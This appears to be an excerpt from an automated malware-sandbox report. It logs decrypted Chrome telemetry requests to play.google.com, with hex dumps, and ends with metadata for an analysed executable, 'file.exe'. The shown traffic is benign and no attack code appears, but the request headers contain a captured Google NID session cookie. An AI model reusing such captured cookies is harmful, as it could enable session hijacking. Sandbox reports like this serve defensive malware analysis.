CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:37:15 UTC	1333	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 32 33 32 39 31 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118232917",null,null,null
2024-07-04 18:37:15 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:37:15 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:37:15 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:37:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	58871	142.250.186.174	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:37:17 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1442 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:37:17 UTC	1442	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 32 33 35 32 38 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118235281",null,null,null
2024-07-04 18:37:17 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:37:17 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:37:17 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:37:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	58910	142.250.186.174	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:37:45 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1653 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:37:45 UTC	1653	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 32 36 33 33 31 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118263319",null,null,null
2024-07-04 18:37:45 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:37:45 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:37:45 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:37:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	58915	142.250.186.174	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:37:47 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1467 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:37:47 UTC	1467	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 32 36 35 39 31 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118265913",null,null,null
2024-07-04 18:37:48 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:37:47 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:37:48 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:37:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	58934	142.250.186.174	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:38:19 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1380 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:38:19 UTC	1380	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 32 39 37 32 31 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118297212",null,null,null
2024-07-04 18:38:19 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:38:19 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:38:19 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:38:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	58935	142.250.186.174	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:38:19 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1451 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:38:19 UTC	1451	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 32 39 37 33 33 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118297336",null,null,null
2024-07-04 18:38:19 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:38:19 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:38:19 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:38:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:33:53
Start date:	04/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x420000
File size:	2'531'328 bytes
MD5 hash:	9C923D102F7688EF4E407B893FE8D448
